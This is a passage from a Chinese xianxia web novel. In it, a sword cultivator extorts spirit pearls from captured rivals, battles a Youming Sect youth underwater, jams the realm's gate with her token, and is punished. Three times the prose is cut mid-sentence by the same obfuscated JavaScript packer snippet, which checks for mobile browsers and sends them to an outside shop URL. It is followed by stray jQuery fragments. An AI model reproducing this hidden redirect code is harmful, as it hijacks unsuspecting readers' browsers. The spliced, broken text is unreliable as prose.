慕雲心花怒放地嘿嘿道:“彼此彼此,天机阁小辈也挺有眼光的。” “哼。”落桦谷主到这时候已经受不了了,“话别说的太早,离秘境结束还有一日,保不准有人找出了秘境坍塌的真相,魁首还不知花落谁家!” 天元仙尊瞥了眼徒儿。 他徒儿当没看到,继续仰头看宝镜中的景况。 明易默不作声地听着长老们暗藏心机的闲谈,视线不错地盯着镜中那个月白色的身影,在一片泥巴人中,她干净得格外显眼。 “师兄!”石映心坐在剑上,在一堆人群中喊,“师妹!” “欸、欸……” 泥人堆里有人颤巍巍地举起手来,石映心便飞过去看,那人也是刚醒,挣扎地从地上支起身子,瞧见剑上的人还没反应过来。 石映心看着面前陌生的面孔:“……你不是我师兄。” 那人抹了把脸,一下将脸上的泥巴涂匀了,茫然道:“哦……我以为是我师妹在叫我。” 石映心知道自己叫错了,应该直呼大名才是,摇摇脑袋便要走,却又被他慌张地叫住:“这位归壹派的道友!” 石映心扭头:? “可否拉我一把?”他指了指压在自己腰上的大树干,不敢相信自己惨状在前,这姑娘居然视若无睹地就要走了,只好主动求助,“我被泥海打晕,好不容易才醒来,这会是精疲力竭,使仙法也没力气,麻烦你帮帮忙……” 石映心顿了顿:“我要去找我师兄师妹,没时间救人。” 那人哀求道:“道友,我瞧你安然无恙、容光焕发,还有力气御剑飞行……这,救我不过是动动手指、顺手的事……” 石映心摇摇头说:“你说错了。我若是救了你,那为何不救其他人?你们都是与我毫不相干的外门道友,不该厚此薄彼。可要是人人都救,岂不是很麻烦?” 那人:……等等,你这个脑回路有点…… 石映心觉得自己很有道理啊,语气非常煞有其事:“再者,我们身处秘境之中,你又并非我归壹派的人,那便是对手关系,我救了你有何好处?不如你早点投降,回去休息吧?” 那人:……好有道理。 他一时哑口无言,见她扭头又要飞走,连忙大叫:“等等等等!我我我给你好处!我给你灵珠!!” 灵珠? 哦,差点忘了这回事。 【若是能得到五百颗我们定能赢!】 【你说得简单,五百颗是那么容易得的吗?】 石映心坐在剑上,放眼望去一地的泥巴人,这会已经陆陆续续地醒来了几个了;有些像她身后的人一样被压在树下,有些半个身子还埋在土里,有些则是被压在一堆昏迷的人下边……大家瞧着都很疲惫不堪。 她清澈的眼睛眨了眨,灵光闪闪。 一塌糊涂。 正是趁人之危的好时候。 天色微亮,已是秘境大比第三日凌晨。 顾梦真从昏迷中醒来,咳咳咳地吐出了几口泥,哼哼两声喷出鼻子里的泥沙,感觉脑子昏昏涨涨的,整个人又脏又沉。他下意识想捻澄净诀先把自己弄干净,但是手一动……咦,怎么动不了了? 低头一看,自己身上居然被绑着藤条,上边还加了法术,让他动也动不了!还未等他吃惊,忽然感到手臂被人一挤,扭头望去——嚯!数不清的脑袋,怎么这么多人跟他一样被绑起来了?一个挨着一个,像战败的俘虏。 这是搞什么??难道是霸山大妖把他们都捉起来了?? “欸,你醒了?”他边上的人朝他打招呼。 “这位道友,”顾梦真茫然道,“现下是何情况?是什么妖怪作祟?” 那位道友摇摇头,朝他露出一个辛酸的微笑:“不是妖怪……嗐,我也不大清楚,听有人说是某个弟子趁我们昏迷的时候将我们都绑了起来,必须要交出灵珠才肯放我们走……” 顾梦真大惊:“这不是趁人之危吗!” “是啊,但这也没办法。大家经过泥海一遭,都是身心俱疲,那弟子仙法高强,实在是打不过,只好认命了。”这位道友的笑容越发惨淡,“好在要的灵珠也不多,一人五颗……” 顾梦真大叫:“一人五颗是不多,但这里起码有六七十号人,加起来就是三百多颗!到时候、到时候……呜呜呜呜我师妹的魁首之位难道要被这等趁人之危的小人给夺去了?呜呜呜呜!” 那位道友安慰他:“算了算了,总比直接淘汰好……嗐,等她放了我们,趁着最后一天时间加把劲,也许还能争个好名次呢?” 顾梦真抽了抽鼻子,忽然想到什么,咬牙道:“对,还有一天时间……等我的师妹找到我,她定会替我报仇!!” 那位道友好奇道:“你师妹有这么厉害?” “那当然了,”顾梦真翘起尾巴,“我师妹可是我们归壹派人人称道的剑修天才,为人正派、冰雪聪明……” “二师兄!” 听到这声音,顾梦真简直喜不自禁,循声一看,站在那的可不就是他浩然正派冰雪聪明的剑修天才好师妹吗! “映心!” “师兄,原来你在这呀。”石映心也很高兴,手指一点,她师兄就恢复了自由,“我还没找到换月。” 顾梦真兴奋地跳起来,看着师妹两眼汪汪:“换月在我的葫芦里,当时泥海滔天,我紧急将她收入葫芦中……你去哪了?师兄可担心你了!” 他打量着她,见她干干净净、面色红润,显然是好得很,总算松了口气。 “我没事。”石映心笑道,“原来这里是阵法之界,我破了阵把天劈开后,地上的泥沙就不见了,下来看到好多人躺在地上昏迷不醒……” “嗯嗯!” “我找了好久,找不到你和换月。但我想你们肯定没死,秘境就要结束了,不如先收集一些灵珠……” “嗯嗯!” “所以我就把那些昏迷的弟子救了出来,让他们交出灵珠报答我。” “嗯……嗯?” 他一时没反应过来自己听到了什么,呆若木鸡地看着师妹天真的笑容,然后就见她掏出了一个沉甸甸的大袋子打开给他看——哇塞,满满当当的全是灵珠! 顾梦真被这些灵珠惊得神志不清,又听她说:“没想到师兄也在我绑的人之中,真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15704054|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是好巧!这是不是就叫得来全不费功夫?” 顾梦真:………… “顾道友!!”他还愣着,这时候刚刚同他说话的那个人气愤地嚷道,“那个趁人之危的小人居然是你的师妹?你方才还说她为人正派、冰雪聪明,我看明明是阴险狡诈、诡计多端!” 边上有几个醒来的人也纷纷发出附和: “就是!亏你们归壹派还自诩正派!竟做这等小人行径!” “实在有辱你们仙门声誉!” “这女子端得一副无辜样,居然心肠如此歹毒……” “真是人不可貌相啊!” 石映心歪了歪脑袋看了看说话的几人,脸上并无怒色,似乎听惯了这类话。 顾梦真猛然回过神来,转身朝那些俘虏骂道:“我呸!要不是我师妹劈天破阵,你们这些人还在泥海中生死不明,连被我们趁人之危的资格都没有,就等着秘境结束后灰头土脸地出去丢人吧!现下我师妹救了你们,取你们一点报酬又如何?秘境中你我本就是敌对关系,没直接把你们淘汰就不错了!!” 这些人被他骂得哑口无言,面色心虚。 那个和他说话的道友震惊道:“顾道友,你方才不是这套说辞!” 顾道友掏掏耳朵:“方才我脑子里进泥了。” 那人:…… 顾梦真又对师妹说:“你这样每人收五颗灵珠不大好。” 石映心知道自己不擅长算术问题,悉心求教:“那要如何?” 顾梦真义正辞严:“识趣的收五颗灵珠,不识趣的、骂你的,骂几句多收几颗;还有反应激烈的就直接让他淘汰、拾他们‘遗物’便是!这些人对你的救命之恩态度不一,甚至不知好歹、恩将仇报,总不能一视同仁。” “师兄说得有理。”石映心恍然大悟,看师兄的眼里充满了钦佩,“映心明白了。” 边上听着的俘虏们:………… 世风日下,人心不古啊! 且不管他人如何想,顾梦真完成了他“得到五百颗灵珠”的目标,魁首之位如探囊取物。 因为俘虏太多,顾梦真还把姬漓等人放出来,让她们帮忙收灵珠,还大方地给了她们一些报酬。 期间还碰到了归壹派其他同门,比如莫默和晴雯他们。见自家人发展得这么好,几人松了口气后决定摆烂,跟着她们苟到最后。 这会离秘境结束还差一个时辰,他们已经围起来一起烤串聊天了。在闲谈中几人得知,原来从不同入口进入山中的话就遇不到彼此,那些泥人虽然攻击性不强,可泥海泥雨却是避无可避,大部分人都淹没在了泥海之中。 晴雯她们从下泥雨开始就大感不妙,一直在找出口,但怎么也找不到。当时就觉得是进了阵法之中,易进难出嘛,可是又找不到破阵之法——谁知道是在天上啊! 又问石映心是如何破阵的。 石映心掩去自己照天的事,有所保留地告之。众人闻言看边上的山,这才诧异道:“可是我看这山就是普通的山啊……” “刚进来时不是这模样的。”晴雯摇摇头,“确实是和映心说的一样,山势很奇怪……现在估计是阵法破了,所以恢复了寻常模样。” 大家恍然大悟。 26. 第 26 章 “嗐,”莫默叹了口气,朝石映心竖了竖大拇指,“映心这次夺得魁首,我心服口服!对比之下我这师兄真是丢脸,卷入泥海之中就算了,连门派令牌都丢了……呜呜呜,回去师父定要骂我。” 石映心宽慰他:“令牌丢了再做一枚就是了。” “哈哈!这可不是这么简单的事。”顾梦真幸灾乐祸道,“我们归壹派的令牌瞧着普通,实则做工精巧,可是千锤百炼出来的宝器!不只有储物的小用处,还坚硬无比、牢不可破,可挡住合体期大能的一招呢!相当于一枚保命牌。” “哦。”石映心听懂二师兄的话外之音,“那很贵了。” 顾梦真嘿嘿嘿嘿。 曾换月哈哈哈哈。 莫默朝他们翻了个白眼。 “不说这些了。”晴雯笑道,“不管如何,此次大比魁首花落我们归壹派,实在是值得庆祝……” “现在不一定了。” 一直没说话的姬滢忽然站了起来,顶着大家惊诧的视线,她直勾勾地看着石映心说:“有人在湖水附近。” 众人皆是一愣,除了石映心几人,都不知道她在说什么。 曾换月大惊失色:“啊?这……可是……秘境不到一个时辰就要……” 顾梦真勉强镇定道:“等等,你之前不是说,秘境的真相不是那么容易被发现的、时机还没到吗?” 姬滢看向他,微微摇头:“我说的是真相,不是造成秘境坍塌的……人。” 顾梦真:“这有什么差别!?” 姬滢神色镇定:“那人只是促成真相的最后一环……虽然药神谷只是想找到这个人。” “姐,我真听不懂你说什么……”曾换月觉得脑子一团浆糊,只知道魁首之位又不稳了,“你就直接说该怎么办吧!” 还能怎么办? 石映心站起来道:“没事,我去阻止他就好了。” 她说得实在轻巧,大伙怔愣地看着她,一时哑口无言,其实都明白她是此时最合适的人选。 姬滢朝她微微颔首,将指尖划破一点,滴了血在她手中罗盘的蜥蜴骨上,然后取下那只蜥蜴骨递给石映心,稳重道:“月神会指引你方向。” 石映心拿过蜥蜴骨:“这是月神?” “……我融入了月神之力。” “哦,多谢。” 她将蜥蜴骨放在掌心,骨头虚虚漂浮了起来,在空中转了两圈,猛地指住了方向。时间紧迫,石映心不再多等,朝后边的同门们点了点头,应和了师兄和师妹的关心,御剑飞了出去。 “事到临头了……”看着师妹飞远的身影,顾梦真叹了口气,“还出这种岔子……” 姬漓乐观道:“你们别担心嘛,既然我妹妹说魁首是你们的,那肯定是。” “魁首是我的师姐。”曾换月冒声。 “是、是……”姬漓笑了笑,“不过她此去不知何时回来,以防万一,不如我们先出秘境吧?反正灵珠都在顾道友身上,也好先坐实了魁首所归,免去石道友的后顾之忧?” 众人看向顾梦真,后者咬唇犹豫了会,虽说想要和映心一起获胜,但他们先前树敌颇多,实在不敢掉以轻心……还是点了点头。 与此同时,石映心跟着蜥蜴骨飞了好一会,才来到一潭湖水边。 这个湖有些特殊,处在山中最深处,最里边有一个山洞,过了山洞就是茫茫大海,也就是说这湖是连通海域的,石映心从湖面上往下看,能瞧得出湖水比一般的要深许多,湖色是清透的深绿。 她拿出师妹给她的避水丹服下,收剑跃入湖中。 一入湖中,她就察觉到有一股陌生的灵力波动,不知是哪个仙门的仙法。她循着波动游去,眼前的绿绚丽明艳,各种奇形怪状的植株生气蓬勃地在湖底载歌载舞,仿佛在兴奋地欢呼。 石映心没由来地感到一丝慰藉,她用手拂过那一片濛濛的小草,指尖有柔柔的回应。前方那丛正盛开的奇形花儿,好似在哪看过…… 再往前游去,就瞧见一块一人高的大石头格外显眼,虽不及湖面高,也不比怪山嶙峋,但它就这么厚重沉稳地在伫立在那,颇有镇湖之石的风范。 它是谁? 石映心往石头游去,伸出手去想摸一摸,还未触及,就见石头后出来一个黑色的身影,她骤然回过神来,和那双瞧见她同样惊奇的双眼对视上。 “……是你!”黑袍少年讶然。 “是你。”石映心也认出他来。 他的黑袍在水里像被风吹动一般飞舞着,但依旧将他遮得严实,黑袍很快镇定下来,朝她问:“你……你来做什么?” 石映心:“你来做什么?” 黑袍一愣:“我自然是来找七年前秘境坍塌的真相……” 石映心:“我来阻止你。” 黑袍:? “我无意与你争夺魁首。”他似乎反应过来,朝她真诚道,“我只是想查明真相,魁首依旧是你们归壹派的。” 石映心也真诚地说:“知道太多对你没有好处。” 黑袍:…… “你、我是为了……” “你现在有两个选择。”石映心不关心他为了什么,伸出两个手指,目光透过水光直视他,“一,自己走;二,我把你打飞。” 黑袍:………… 几句话说到这,他不得不被这剑修惹恼,咬牙道:“少瞧不起人了……好,就让你见识一下我们幽冥宗的厉害!” 石映心懒得和他废话,拔剑就要上,但手一拔——奇怪,怎么拔不出来? 她低头看去,却见剑鞘不知何时被一团漆黑的影子给团团包裹住了,连她刚刚按在剑柄上的手都被咬入其中,无法动弹。 她施法击退黑影,但那黑影却狡猾异常,宛若空气一般顺着她灵力的攻击分散开来,下一刻又聚集在一起,毫发无损。 不止如此,石映心瞧见湖底有一大片的黑影似鱼般游来,待到她底下,便冒出一个个黑影,迫不及待伸长着手要去抓她的脚,就像讨命水鬼一般。 她顿了顿,听见黑袍少年冷笑一声道:“我无意伤你,你就待在边上看着吧,休想阻碍我!” 话毕,他兀自开始施法,浑身散发出阵阵黑气法力,不知道要干什么, 再看这边,剑修的剑被牢牢困住,脚上也已被抓了几只黑手,石映心该如何呢? 她盯着这些古怪的黑影思考片刻,手一松就将剑给抛弃了,先捻决打退脚上的几只黑手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15708131|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,趁机双腿一蹬就往正在施法的黑袍游去——等后者反应过来时,她的双手已经掐在了他的脖子上。 原本专心施法的黑袍吓了一跳,瞪大眼睛看着她,余光穿过她的肩膀,瞧见那只已经陷入一片黑影中只剩下一个剑柄的宝剑。 ……不是,你就这样扔了啊! 又无语她身为剑修,居然用这么简单粗暴的攻击方式。 那些黑影追她而来,缠上了她的腰部想要把她拉开,但是黑影越使劲,她掐着黑袍的力气也越大,俨然是把他当做人质了。 黑袍感到呼吸困难,去扒拉她的手:“你……放……开……” 石映心也在顽力抵抗着黑影,皱着眉头面色略狰狞:“不……放!” “你……干嘛……针对……我……” “是你……针对……我……”师父。 “我要……死……了!” “我……有……分寸!” 分寸?她有什么分寸?黑袍觉得自己就差白眼一翻就能死翘翘了!就在他坚持不住、打算先认输的时候,忽然感到有什么东西从他的领口钻了出来——是他的皮皮! 皮皮扇着翅膀在水里飞游过来,嫉恶如仇地张大嘴巴、凶横地咬住了石映心的手腕——它的鸟喙里居然有蛇的尖牙。 石映心瞥了它一眼,被小鸟蛇咬的疼痛在她这根本不算什么。只是她脑子不在意,但手臂很诚实地开始发麻僵硬,从被咬的地方开始向整只胳膊蔓延,直到她控制不住自己的手掌,成功被黑袍挣脱开来。 黑袍脸都发紫了,咳咳咳地在水里吐出好多泡泡来。皮皮焦急地在他边上盘旋,瞧着很是关心。 石映心感到大臂上方已经被毒素侵染了,不敢再轻举妄动,暂且施法封住了手上的经脉;祸不单行,黑影刚刚念在黑袍的份上没敢使劲扯她,这会有机可乘,直接将她团团包裹了起来,活像将她套进了大麻袋里。 她挣扎了一会,当然是没有什么用;剑丢了,手中毒了,要想破局只能从奇经八脉中逼出真气应付,但这办法挺伤身的,她不确定之后还有没有力气处理黑袍人……等等。 石映心抬起眼看黑袍,只见他专心地阖眼念咒,法术成功在即,面前已结出一圈黑色的符印来,复杂的图样似乎画的是某种动物、又写了一些字,反正石映心都认不出来,只感到灵力的波动越发震荡,法术将成。 既然如此…… 她心想,只好照照看了。 湖水湍急,一个漩涡悄然在石映心周遭环绕旋转,越转越快,直至将她和那些黑影全数笼罩了起来,叫人瞧不见里头的景况。皮皮诧异地看着这一幕,转头又看看专心致志的黑袍,焦急地扇起翅膀来。 就在这漩涡快得不能再快时,黑袍的符印大功告成,他松了口气般地睁开眼,见到眼前的古怪漩涡时甚至还没反应过来——轰!哗! 只听这猛烈的一声,漩涡像被撕裂般炸开,露出里头的景况: 那剑修摆着和他一模一样的结印手势,面前转着一个和他前边一模一样的符印,这会她抬起眼来,正悠然地瞧着他。那些原本缠绕着她的黑影,大概是因为感受到熟悉的法术气息而迷茫起来,惘然地在边上沉浮。 怎、怎么可能…… 27. 第 27 章 黑袍的双眼从没睁得这么夸张过——她怎么可能会他们幽冥宗的秘印!? 二人面面相觑着,彼此面前的符印同样相对轮转,不及二人有更多的动作,时空骤然撕裂开来,湖水全然消失不见,他们漂浮在无尽的黑暗之中,只能瞧见彼此……还有那只小鸟蛇。 黑袍终于回过神来,脑海里有太多疑惑,一时不知从何问起,但还是要开口先大声叫道:“你怎么会在这里!?” 虽然周遭一片黑,但石映心还是四处看了看:“这里是哪?” “……传送空间,你为何会我们幽冥宗的秘法?!” “传送去哪?” “月牙关上古秘境……喂,你还没回我的话!” 月牙关上古秘境?石映心奇怪道:“秘境不是已经在七年前坍塌了?我们大比所处的秘境是药神谷缔造的……不是吗?” “所以这次去的是七年前的秘境。”黑袍叹了口气,很不高兴道,“这是我们幽冥宗的秘法!你不要多问!可、可你为何……” “你去那里做什么?找秘境坍塌的真相吗?” “……不,我是去找……”黑袍回过神来,“关你什么事,你到底怎么跟来的!?” 石映心无辜地看着他:“这是我的秘法,你不要多问。” 黑袍:…… 事到如今,他只好警告她:“我们要去是秘境将要坍塌前半小拇指香时间,我拿了东西便要走,你最好跟着我不要乱跑,否则若是你留在秘境之中,可就永远出不来了!” 拿了东西?难道他真的不是去找某个“人”? 石映心见他神色认真,总算表现出配合的模样:“好。你要找什么,我帮你找。” “不用你管……”黑袍撇过脸,“知道的太多对你没有好处!” “哦。” 然而—— “石头呢?那么大一块石头呢!?” 他们很快便传送到了七年前的月牙关上古秘境,出现的地点依旧是那湖水之中,周遭湖色与他们来时的仿制秘境没有什么不同,只不过这会湖水动荡地颠来倒去,湖底被撕裂了几道裂缝,有许多碎石从上头落入湖中,大概是外头的山体在崩裂。 哦,还有一个不同就是那块镇湖之石不见了。 石映心在激荡的湖中稳住身形,看着方才还嚷着“知道的太多对你没有好处”的黑袍,这会惊慌失措地在湖里游来游去,甚至还跑来问她:“你看见那块大石头没有?在那个秘境里它明明就是在这的,对不对!?” 石映心点点头说对。 黑袍哇哇大叫道:“你来都来了,求你帮我找找吧!” 石映心点点头说好。 她趁着黑袍满心满眼都是石头,偷偷地将湖底字迹眼熟的阵法给抹去了——呼,总算帮师父消灭了犯案证据,这趟不算白来。 扭头一看,黑袍似乎着急得很,那双眼睛露出想哭的神色,瞧着很可怜。石映心想起师父和她说的故事,游过去对他说:“石头可能变小了,你从这些小石子里找找吧。” 黑袍又急又奇怪:“你怎么知道石头变小了?” 石映心:“你不要多问,知道的太多对你没有好处。” 黑袍:…… 这时候他不得不信任她,低头看见湖底那一堆乱七八糟的小石头,此时还有源源不断的碎石从上头落下来。黑袍简直头大,本来那块石头这么大多好找啊,如今变成这样! 石映心又说:“你把这些石头都带回去,慢慢找不就好了?” 黑袍:有道理! 石映心好心地帮他收集这些石子,二人忙忙碌碌着,没注意到边上的小鸟蛇情况有些不对劲,它似是抽搐一般浑身发抖,痛苦地扭来扭去,一会把自己打结,一会儿咬着尾巴晕头转向。 激流将它打晕,碎石把它砸出血来,它却仿若未觉。 “秘境快坍塌了。”石映心躲过一块被湖水冲来的落石。 黑袍也知道,他的眉头苦恼又无奈地皱着,将能瞧见的最后一波碎石收入储物空间中,转头看见咬着自己尾巴玩的皮皮,来不及多想将它捞进了怀里,对石映心说:“你跟紧我!” “好。” 回去的术法就简单许多,不过几个手诀的事。 折腾了这么久,石映心总算能上岸了,她第一时间将自己弄得清爽干净,泡在水里太久,就算吃了避水丹也不太舒服,感觉整个人潮潮沉沉的。 黑袍也没好到哪去,黑袍都要变成紧身衣了。他不适应地扒拉了一下衣袍,看着石映心正要说什么,忽然听见空中传来一声铃响,是快秘境快关闭前的警醒。 石映心捡起地上的宝剑,奇怪地左右看看:“我的剑鞘不见了。” 但这时候是没时间回湖里找了。 黑袍也下意识看了看,边上确实没有,但这时更要紧的事:“咳,你帮我捡的那些石头……” “哦。”石映心变出一个巨大的袋子来,里头装着满满当当的石头,递给他,“都在这里了。” “……谢谢。”黑袍接过来往肩上一甩,差点没跟着倒下去,好险稳住了身形,他略有些吃力道,“你的剑鞘……” 石映心举着剑糖葫芦,淡定地说:“没关系,师父会帮我赔钱的。现在石头也给你了,那我走……” “铛——”第二声铃响。 “等等!”黑袍叫住她,“你、你叫什么名……嘶。” 他话音未落,忽然觉得胸前一片躁动,低下头去就见皮皮飞了出来,直直地朝石映心飞去——后者以为它要来咬自己,下意识退了一步,但皮皮的目的却不是她,而是她手上的那把剑——这是要做什么? 她从来没遇见过这样的情况,茫然地站在原地,看着那只小鸟蛇撞到了自己的剑刃上滑了下来,留下一条血迹,最后倒在地上断成了两半,断裂处正是七寸,这下是死的透透的。 石映心:OO? 黑袍晃了晃神,一时不敢相信自己看到了什么,下一刻便发出凄厉的惨叫来:“皮皮!皮皮——” 他飞扑过来跪在地上,看着皮皮的尸体不可置信地发抖起来,而后抬起眼,用带着仇恨的泪眼质问她:“你对皮皮做了什么!?” 石映心一脸莫名:“我什么也没……” 黑袍这会哪里听得进她的解释,大喊道:“它不过是咬了你一口,你现在也没事了,为何还要对它怀恨在心!?” “是它自己……” “铛——” 石映心想起正事,她得离开秘境了,于是最后看了眼黑袍悲伤流泪的眼睛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15714404|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道对方不想和她说再见,干脆她也不说了,转身就御剑飞了起来。 刚飞起来的时候还听到黑袍在下边的喊声:“我会让你为皮皮的死付出代价!!你这个恶毒的坏女人——” 后来飞远了一点就什么也听不见了。 石映心还是很莫名,不过杀一只小鸟蛇对她来说不是什么大事……主要也不是她杀的啊。总之她很快就把这事抛之脑后,一心一意加快速度地往秘境之门飞去,之后想起来是剑沾了血要使澄净诀,但低头一看—— 血已经不见了。 “门要关上了!师姐怎么还没出来!” 曾换月等人站在秘境之门边上急得团团转,眼见秘境之门已经开始缓慢地合上,而石映心还是不见人影,心里真是说不上来的着急。 “刚刚她飞入秘境边界的画面就开始瞧不见了……”晴雯忧心地看着镜中的情况,“现下不知在哪。” “欸,欸!”顾梦真忽然跳了起来,指着镜面某一处,“我好像瞧见映心御剑的影子了!” 莫默:“我看着像别的弟子啊?” “你闭嘴!” “……” 这时候秘境之门已经合了一半,忽然有人飞了出来,大家亮起眼一看——不是。顿时又失落下来。 难捱地又等了一会,觉得时间又快又慢,大门已经合到只剩一个侧身人面的宽度,仿佛真的来不及了,就在这几息之间,只剩下了一个拳头宽的缝隙。 曾换月呜呜地瘪起嘴,眼眶里滚着泪水。 顾梦真依旧在伸长脖子往那个窄窄的缝隙里看,仿佛期待他师妹变成纸片人飘出来。 哐—— 似乎是秘境之门合上的声音,天元仙尊瞅了眼边上愁眉苦脸的慕雲,无奈地摇头叹了口气,立起身来预备宣布秘境大比结束:“咳,既然如此,那……” “掌门。”明易忽然走过来说,“秘境之门……被卡住了。” 天元仙尊:? 众人闻言纷纷看去,只见那门还真的没闭紧嘞,就差了那么一指头宽的缝隙,实在是奇怪得很。疑惑之际,人群中忽然有个人大喊:“是谁的令牌卡住了门!?” 令牌? 又有人喊:“我看清了,是归壹派的令牌!” 落桦谷主冷哼一声道:“是谁的令牌,还不赶快收回去!” 场下归壹派的弟子们纷纷检查起自己的令牌来——奇了怪了,都在啊! 那是谁的呢? 不管是谁的,天元仙尊只好让明易先去把令牌取出来。 明易应了声,飞到秘境之门边上,盯着那坚·挺在门缝中的令牌看了两瞬,眉峰不自觉抽了一下,他伸手正要去拿,却见有几根手指里头伸了出来。 从指尖的发白看得出来这手很使劲,先是推开了一边门的一点点,然后又伸出另一只手来,两手使劲一推—— “咚。” 顽强的归壹派令牌如释重负地掉在了地上。 石映心推开门,第一眼就瞧见了近在迟尺的大师兄,毕竟是亲近之人,她很是喜悦地笑道:“大师兄!” 她大师兄怔神地看了她一会,还是回了她一个笑,不过笑得有些苦涩便是了。 明易捡起令牌转过来一看,果然是“石映心”。 28. 第 28 章 人群很快聒噪起来。顾梦真和曾换月跑过来关心她,又是高兴又不敢太高兴——谁也说不准她这卡门之法作不作数。 “好了、好了,肃静!” 天元仙尊也没想到会出这茬,还是先稳定纪律,等大家安静地看着他了,便问这让人头疼的小徒孙:“石映心,你为何要把令牌卡在门上?” 石映心回道:“师……回禀掌门,三日前宣布规则时是说,在秘境之门关上前出来就作数的。” “这……”天元一噎,下意识看向众位长老,自然是要寻求他们的意见。 “这是投机取巧!”落桦冷哼一声,“怎么能作数?” 芈玉瑶道:“确实是我们没把规则说清楚。” 见有人站徒儿那边,慕雲立刻帮腔:“是啊,也没说不能卡门吧?” “是我们规则不完备。”天虚还算客观道,“不如少数服从多数?” “不行!”落桦大声道,“若是开了这先例,之后岂不是人人都想着钻漏洞?” 妙望露出一个调侃的无奈笑容:“落桦谷主您何必要如此较真呢?不管作不作数,这大比魁首都是归壹派坐实了的,至于究竟是谁,对你们药神谷来说有什么分别?” 落桦“哼”了一声:“总之我不同意!” 天元知道落桦就是不想让他们高兴,但毕竟是自家小辈犯事,他也不好明面上偏袒起来,斟酌道:“不如就照我师弟说的,少数服从多数……” 他话音未落,慕雲忽然一惊:“妽荼仙尊来了……” 什么!?众人抬眼望去,果然见一抹红色身影站在剑上飞了过来。 小声议论的场下弟子们猝然安静下来,仿佛瞧见了什么洪水猛兽,个个把嘴巴都抿严实了;就连长老席上的众仙门长老也纷纷起身,远远地就朝那飞来的妽荼行礼:“妽荼仙尊。” “完了完了……”顾梦真瞧那红衣越瞧越黑,“妽荼仙尊一来,估计这事要泡汤了。” 曾换月小声嘤嘤:“呜呜呜我可怜的师姐……” 石映心盯着妽荼仙尊看了会,摇摇头说:“作不作数我都无所谓。” 顾梦真:“可是……” 明易压低声音:“都闭嘴。” 师妹师弟只好闭上嘴巴。 妽荼落在长老席前,她不过是三十左右的容貌,面色冷峻、神色冷淡,周身散发着盛气凌人的大能气场,在她面前那群俯首的一干长老面前更衬托出如此。她扫了眼几人,最后视线落在天元身上: “大比为何还没结束?” 归壹派掌门连忙和她解释了原因。 “哼。”听罢,妽荼先是冷哼一声,撇过落桦低垂的脑袋,“此事错处有二。一是你们这些人办事不利,制定出能叫小辈有机可乘的规则,真是叫人笑话!” 众长老的脑袋更低了一些,连连称“是是,仙尊教训得对”。 “至于这二……”妽荼的视线总算又落到了那个犯事的小弟子身上,见她低着脑袋抬着眼睛瞧过来,看得她有些无名火,“则是某些弟子自作聪明、明知故犯。若是不以儆效尤,怕是要助长了此等风气!” 慕雲听到这冷汗都流下来了,她提着一口气说:“仙尊,劣徒平日乖巧听话,循规蹈矩,此次只是……额,一时糊涂!还望仙尊念在她是初犯……” “是啊是啊。”天元讪讪一笑,“师姐,映心的情况您也是知晓的。” 妽荼一抬眉毛,没再看这两人,而是朝某弟子道:“石映心,你有什么要说的?” 石映心的左胳膊被师妹挤了一下,右胳膊又被二师兄挤了一下,整个人莫名局促起来,她摸摸胳膊,远远地望向妽荼:“映心想问……若是我与众长老都犯了错,那长老们也要受罚吗?” 全场鸦雀无声,山中空旷静谧,仿佛隐隐有回声。 那长老们也要受罚吗…… 也要受罚吗…… 受罚吗…… 妽荼:。 慕雲两眼一翻真的要晕过去,余光瞧见她师父鬓边的白发都湿了,瞧着也很可怜。她决心下回再有这种事,第一时间要把徒弟的小嘴巴给封起来,不为别的,先保护她师父和师公的小心脏。 “笑话!”妽荼也是气笑了,“他们犯的是无心之过,而你是蓄意为之,岂能相提并论?” 石映心想说有时候自己犯无心之过也会被师父责罚啊,但她张了嘴,又瞧见站在妽荼仙尊后边疯狂给自己使眼色做表情的师父,想了想还是抿住了唇:“仙尊教训的是,弟子知错了。” “哼!”妽荼无意再和她纠缠,红袖一挥下令道,“念你是初犯,就罚四十仙板。至于大比名额……既是众长老的错,便保留你晋级之位。” 众位长老纷纷应和,落桦再有不甘也不敢多言。 石映心也规规矩矩地拱手道:“弟子遵命认罚。” 妽荼只是见这边有异样,便按例来巡察,解决了事情就飞走了。众弟子得知魁首花落谁家,和同门津津乐道着风流云散。石映心等人则是跟着天元一同去了天和峰掌门殿受罚,后头还跟着两个戒律堂的弟子,受命去监督的。 天和峰,掌门殿。 “你你你、你……唉!”天元瞪着慕雲瞪了会,指着石映心道,“你教的好徒弟!” 